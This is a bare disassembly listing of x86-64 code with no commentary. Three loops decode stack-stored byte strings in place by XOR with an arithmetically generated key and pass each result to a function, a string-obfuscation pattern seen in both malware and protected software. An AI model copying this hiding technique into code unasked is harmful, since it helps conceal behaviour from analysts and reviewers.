movups xmm0, xmmword [0x1402ac878]
movups xmm1, xmmword [0x1402ac888]
movups xmmword [rsp + 0x68], xmm0
movsd xmm0, qword [0x1402ac898]
movsd qword [rbp - 0x78], xmm0
movups xmmword [rsp + 0x78], xmm1
cmp edi, 2
jl 0x1402775de
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad170]
movdqa xmm7, xmmword [0x1402ad180]
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm13, xmmword [0x1402ad0d0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x28
jl 0x140277420
cmp eax, 0x2c
jge 0x14027763a
movsxd rax, ebx
lea r9, [rsp + 0x68]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xac687d63
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
sub cl, r8b
add cl, bl
inc ebx
add cl, cl
add cl, 0x41
xor byte [r9 - 1], cl
cmp ebx, 0x2c
jl 0x1402775f0
lea rcx, [rsp + 0x68]
call fcn.140202680
mov al, 1
jmp 0x140277b99
movzx eax, word [0x1402ac800]
mov word [rsp + 0x60], ax
movzx eax, byte [0x1402ac802]
mov byte [rsp + 0x62], al
movups xmm0, xmmword [0x1402ac7f0]
movups xmmword [rsp + 0x50], xmm0
cmp esi, 2
jl 0x14027788e
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
lea rcx, [rsp + 0x54]
movdqa xmm9, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad170]
movdqa xmm7, xmmword [0x1402ad180]
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm13, xmmword [0x1402ad0d0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
nop dword [rax + rax]
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
psrad xmm4, xmm10
movdqa xmm1, xmm2
movdqa xmm0, xmm5
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm4, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm4, xmm5
pmuldq xmm0, xmm6
movdqa xmm2, xmm4
pmuldq xmm1, xmm7
pmuldq xmm4, xmm7
pmuldq xmm2, xmm6
shufps xmm4, xmm1, 0xdd
shufps xmm2, xmm0, 0xdd
psubd xmm4, xmm5
psrad xmm2, xmm10
movdqa xmm0, xmm5
psrad xmm4, xmm11
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm13
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm12
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
mov eax, ebx
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x10
jl 0x1402776d0
cmp eax, 0x13
jge 0x1402778ea
movsxd rax, ebx
lea r9, [rsp + 0x50]
add r9, rax
nop dword [rax]
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xac687d63
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
sub cl, r8b
add cl, bl
inc ebx
add cl, cl
add cl, 0x41
xor byte [r9 - 1], cl
cmp ebx, 0x13
jl 0x1402778a0
lea rcx, [rsp + 0x50]
call fcn.140202680
mov rdx, qword [rbp - 0x50]
jmp 0x14027548a
movups xmm1, xmmword [0x1402ac700]
movups xmm0, xmmword [0x1402ac6f0]
movups xmmword [rsp + 0x78], xmm1
psrldq xmm1, 0xf
movd eax, xmm1
movups xmmword [rsp + 0x68], xmm0
test al, al
je 0x140277b8a
cmp esi, 2
jl 0x140277b39
movdqa xmm0, xmmword [str.AAAAAAAAAAAAAAAA]
lea rcx, [rsp + 0x6c]
movdqa xmm9, xmmword [0x1402ad0a0]
movdqa xmm6, xmmword [0x1402ad170]
movdqa xmm7, xmmword [0x1402ad180]
movdqa xmm12, xmmword [0x1402ad1a0]
movdqa xmm13, xmmword [0x1402ad0d0]
movdqa xmmword [rsp + 0x40], xmm0
mov edx, dword [rsp + 0x40]
movd xmm10, r14d
movd xmm11, r15d
movd xmm8, r12d
movd xmm5, ebx
lea eax, [rbx + 4]
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
punpckldq xmm2, xmm5
movdqa xmm0, xmm1
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
movdqa xmm1, xmm2
psrld xmm1, xmm8
psrad xmm4, xmm10
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
movd xmm0, edx
paddb xmm3, xmm0
movd xmm5, eax
movd xmm0, dword [rcx - 4]
pxor xmm3, xmm0
pshufd xmm5, xmm5, 0
paddd xmm5, xmm9
movd dword [rcx - 4], xmm3
movdqa xmm2, xmm5
movdqa xmm1, xmm5
punpckhdq xmm1, xmm5
movdqa xmm0, xmm1
punpckldq xmm2, xmm5
pmuldq xmm0, xmm6
movdqa xmm4, xmm2
pmuldq xmm1, xmm7
pmuldq xmm2, xmm7
pmuldq xmm4, xmm6
shufps xmm2, xmm1, 0xdd
shufps xmm4, xmm0, 0xdd
psubd xmm2, xmm5
psrad xmm2, xmm11
movdqa xmm0, xmm5
psrad xmm4, xmm10
movdqa xmm1, xmm2
psrld xmm1, xmm8
paddd xmm1, xmm2
pmulld xmm1, xmm12
psubd xmm0, xmm1
pshuflw xmm0, xmm0, 0xd8
pshufhw xmm1, xmm0, 0xd8
movdqa xmm0, xmm4
psrld xmm0, xmm8
pshufd xmm3, xmm1, 0xd8
pand xmm3, xmmword [0x1402ad150]
paddd xmm0, xmm4
pmulld xmm0, xmm13
psubd xmm5, xmm0
packuswb xmm3, xmm3
pshuflw xmm0, xmm5, 0xd8
pshufhw xmm1, xmm0, 0xd8
lea rcx, [rcx + 8]
movd xmm0, edx
add ebx, 8
pshufd xmm2, xmm1, 0xd8
pand xmm2, xmmword [0x1402ad150]
packuswb xmm2, xmm2
paddb xmm3, xmm2
paddb xmm3, xmm0
movd xmm0, dword [rcx - 8]
pxor xmm3, xmm0
movd dword [rcx - 8], xmm3
cmp ebx, 0x20
jl 0x140277980
jmp 0x140277b8a
lea r9, [rsp + 0x68]
nop
mov eax, 0x8fb823ef
lea r9, [r9 + 1]
imul ebx
add edx, ebx
sar edx, 6
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul r8d, eax, 0x39
mov eax, 0xac687d63
imul ebx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x31
sub cl, r8b
add cl, bl
inc ebx
add cl, cl
add cl, 0x41
xor byte [r9 - 1], cl
cmp ebx, 0x20
jl 0x140277b40
mov edx, r10d
lea rcx, [rsp + 0x68]
call fcn.140202680
xor al, al
mov rsi, qword [rsp + 0x240]
mov rdi, qword [rsp + 0x1f0]
mov rcx, qword [rbp + 0x60]
xor rcx, rsp
call fcn.14027cdd0
lea r11, [rsp + 0x1f8]
movaps xmm6, xmmword [r11 - 0x18]
movaps xmm7, xmmword [r11 - 0x28]
movaps xmm8, xmmword [r11 - 0x38]
movaps xmm9, xmmword [r11 - 0x48]
movaps xmm10, xmmword [r11 - 0x58]
movaps xmm11, xmmword [r11 - 0x68]
movaps xmm12, xmmword [r11 - 0x78]
movaps xmm13, xmmword [r11 - 0x88]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbx
pop rbp
ret